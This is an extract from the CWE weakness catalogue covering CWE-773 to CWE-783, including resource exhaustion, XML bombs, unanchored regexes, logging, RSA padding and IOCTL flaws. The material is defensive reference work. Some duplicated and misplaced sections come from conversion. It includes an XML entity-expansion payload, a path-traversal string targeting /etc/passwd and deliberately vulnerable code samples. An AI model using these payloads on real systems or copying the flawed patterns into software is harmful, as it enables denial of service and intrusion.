<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🍃</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td>CanFollow</td>
<td>🍃</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Theoretical Notes**

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This
entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>CON02-CPP</td>
<td>Use lock classes for mutex management</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>469</td>
<td>HTTP DoS</td>
<td></td>
</tr>
</tbody>
</table>

Maintenance Notes

“Resource exhaustion” (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID: 773 (Weakness Variant) Status: Incomplete

Description

Summary
The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description
This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences

Availability
DoS: resource consumption (other)
When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit
Medium to High

Potential Mitigations

Operation
Architecture and Design
Limit Resource Consumption
Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Relationships
CWE Version 2.11

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

### Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

---

## CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

**Weakness ID: 774** *(Weakness Variant)*

**Status:** Incomplete

### Description

**Summary**

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

**Extended Description**

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

**Availability**

**DoS: resource consumption (other)**

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

### Likelihood of Exploit

Medium to High

### Potential Mitigations

**Operation**

**Architecture and Design**

**Limit Resource Consumption**

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
<td>699</td>
</tr>
</tbody>
</table>

---

1191
CWE Version 2.11

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP13</td>
<td>Unrestricted Consumption</td>
</tr>
</tbody>
</table>

References


CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

<table>
<thead>
<tr>
<th>Weakness ID: 775 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td>The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.</td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td>When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.</td>
</tr>
<tr>
<td><strong>Time of Introduction</strong></td>
<td>- Implementation</td>
</tr>
<tr>
<td><strong>Common Consequences</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Availability</strong></td>
<td></td>
</tr>
<tr>
<td><strong>DoS: resource consumption (other)</strong></td>
<td>When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.</td>
</tr>
<tr>
<td><strong>Likelihood of Exploit</strong></td>
<td>Medium to High</td>
</tr>
<tr>
<td><strong>Observed Examples</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Reference</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>CVE-2007-0897</td>
<td>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Operation

Architecture and Design

Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
<td>699</td>
<td>1177</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>1003</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
<td>1389</td>
</tr>
</tbody>
</table>

Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

References


CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID: 776 (Weakness Variant) Status: Draft

Description

Summary

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Alternate Terms

XEE

XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack

XML Bomb

While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Time of Introduction

- Implementation
- Operation
CWE Version 2.11
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Applicable Platforms
Languages
• XML

Architectural Paradigms
• Web-based

Common Consequences
Availability
DoS: resource consumption (other)
If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.

Likelihood of Exploit
Low to Medium

Demonstrative Examples
The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

XML Example:

```xml
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [ 
<!ENTITY ZERO "A"> 
<!ENTITY ONE "&ZERO;&ZERO;"> 
<!ENTITY TWO "&ONE;&ONE;"> 
... 
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;"> 
]> 
<data>&THIRTYTWO;</data>
```

Likelihood of Exploit
Low to Medium

Demonstrative Examples
The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

XML Example:

```xml
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [ 
<!ENTITY ZERO "A"> 
<!ENTITY ONE "&ZERO;&ZERO;"> 
<!ENTITY TWO "&ONE;&ONE;"> 
... 
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;"> 
]> 
<data>&THIRTYTWO;</data>
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1564</td>
<td>Parsing library allows XML bomb</td>
</tr>
<tr>
<td>CVE-2008-3281</td>
<td>XEE in XML-parsing library.</td>
</tr>
<tr>
<td>CVE-2009-1955</td>
<td>XML bomb in web server module</td>
</tr>
<tr>
<td>CVE-2011-1755</td>
<td>&quot;Billion laughs&quot; attack in XMPP server daemon.</td>
</tr>
<tr>
<td>CVE-2011-3288</td>
<td>XML bomb / XEE in enterprise communication product.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Operation
If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Implementation
Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>674</td>
<td>Uncontrolled Recursion</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>44</td>
<td>XML Entity Expansion</td>
</tr>
</tbody>
</table>
CWE-777: Regular Expression without Anchors

Weakness ID: 777 (Weakness Variant) Status: Incomplete

Description

Summary
The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description
When performing tasks such as whitelist validation, data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Time of Introduction

- Implementation

Common Consequences

Availability
Confidentiality
Access Control
Bypass protection mechanism

An unanchored regular expression in the context of a whitelist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the whitelist was protecting.

Likelihood of Exploit
Low to Medium

Demonstrative Examples
Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

PHP Example:

```php
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]\+\+/", $lang)) {
    include("$dir/$lang");
} else {
    echo "You shall not pass\n";
}
```

References
The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

```
Attack
../../../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

**Potential Mitigations**

**Implementation**

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define a whitelist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

**Background Details**

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>8</td>
<td>625</td>
<td>Permissive Regular Expression</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>975</td>
</tr>
</tbody>
</table>

**CWE-778: Insufficient Logging**

**Weakness ID: 778 (Weakness Base)**

**Status: Draft**

**Description**

**Summary**

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

**Extended Description**

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

**Time of Introduction**

- Operation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Non-Repudiation**

**Hide activities**

If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.

**Likelihood of Exploit**

- Medium

**Demonstrative Examples**

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).
CWE-778: Insufficient Logging

XML Example:

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None"/>
    </behavior>
  </serviceBehaviors>
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts. Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

XML Example:

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="SuccessAndFailure"
          messageAuthenticationAuditLevel="SuccessAndFailure"/>
    </behavior>
  </serviceBehaviors>
</system.serviceModel>
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1566</td>
<td>web server does not log requests for a non-standard request type</td>
</tr>
<tr>
<td>CVE-2007-1225</td>
<td>proxy does not log requests without &quot;http://&quot; in the URL, allowing web surfers to access restricted web content without detection</td>
</tr>
<tr>
<td>CVE-2007-3730</td>
<td>default configuration for POP server does not log source IP or username for login attempts</td>
</tr>
<tr>
<td>CVE-2008-1203</td>
<td>admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected</td>
</tr>
<tr>
<td>CVE-2008-4315</td>
<td>server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>➔</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>➔</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>➔</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
</tbody>
</table>

References

CWE-779: Logging of Excessive Data

**Description**

**Summary**
The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

**Extended Description**
While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

**Time of Introduction**
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Availability**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (other)**

Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.

**Non-Repudiation**

**Hide activities**

Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.

**Non-Repudiation**

**Hide activities**

If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.

**Likelihood of Exploit**
Low to Medium

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1154</td>
<td>chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log</td>
</tr>
<tr>
<td>CVE-2007-0421</td>
<td>server records a large amount of data to the server log when it receives malformed headers</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**
Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

**Architecture and Design**
Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

**Implementation**
Adjust configurations appropriately when software is transitioned from a debug state to production.
CWE-780: Use of RSA Algorithm without OAEP

Weakness ID: 780 (Weakness Variant) Status: Incomplete

Description

Summary
The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description
Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Access Control
- Bypass protection mechanism
Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.

Likelihood of Exploit
Medium

Demonstrative Examples
The example below attempts to build an RSA cipher.

Java Example:

```java
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    } catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    } catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Java Example:

```java
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    } catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    } catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID: 781 (Weakness Variant)  Status: Draft

Description

Summary
The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description
When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• C (Often)
• C++ (Often)

Operating Systems
• Windows XP (Sometimes)
• Windows 2000 (Sometimes)
• Windows Vista (Sometimes)

Platform Notes

Common Consequences

References

Maintenance Notes
This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Integrity
Availability
Confidentiality
Modify memory
Read memory
Execute unauthorized code or commands
DoS: crash / exit / restart

An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.

Likelihood of Exploit
Low to Medium

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2373</td>
<td>Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2007-5756</td>
<td>Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.</td>
</tr>
<tr>
<td>CVE-2008-5724</td>
<td>Personal firewall allows attackers to gain SYSTEM privileges.</td>
</tr>
<tr>
<td>CVE-2009-0824</td>
<td>Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Architecture and Design
If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Potential Mitigations

Implementation
If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>465</td>
<td>Pointer Issues</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
</tbody>
</table>

Research Gaps

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

References
CWE Version 2.11

CWE-782: Exposed IOCTL with Insufficient Access Control


CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID: 782 (Weakness Variant) Status: Draft

Description

Summary

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• C (Often)
• C++ (Often)

Operating Systems

• UNIX-based
• Windows-based

Platform Notes

Common Consequences

Integrity
Availability
Confidentiality

Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.

Likelihood of Exploit

Low to Medium

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0728</td>
<td>Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL.</td>
</tr>
<tr>
<td>CVE-2006-4926</td>
<td>Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL.</td>
</tr>
<tr>
<td>CVE-2007-1400</td>
<td>Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-783: Operator Precedence Logic Error

Reference Description
CVE-2007-4277 Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL.
CVE-2008-0322 Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten.
CVE-2008-3525 ioctl does not check for a required capability before processing certain requests.
CVE-2008-3831 Device driver does not restrict ioctl calls to its master.
CVE-2009-2208 Operating system does not enforce permissions on an IOCTL that can be used to modify network settings.

Potential Mitigations

Architecture and Design
In Windows environments, use proper access control for the associated device or device namespace. See References.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>284</td>
<td>Improper Access Control</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td>1200</td>
</tr>
</tbody>
</table>

Relationship Notes
This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

References

CWE-783: Operator Precedence Logic Error

Weakness ID: 783 (Weakness Variant) Status: Draft

Description
Summary
The program uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description
While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Applicable Platforms

Languages
• C (Rarely)
• C++ (Rarely)
• Any (Rarely)

Modes of Introduction
Logic errors related to operator precedence may cause problems even during normal operation, so they are probably discovered quickly during the testing phase. If testing is incomplete or there is a strong reliance on manual review of the code, then these errors may not be discovered before the software is deployed.

Common Consequences
Confidentiality
Integrity
Availability
Varies by context
Unexpected state

The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

C Example:

```c
#include <stdio.h>

#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    } else {
        isUser = SUCCESS;
    }
    return isUser;
}
```

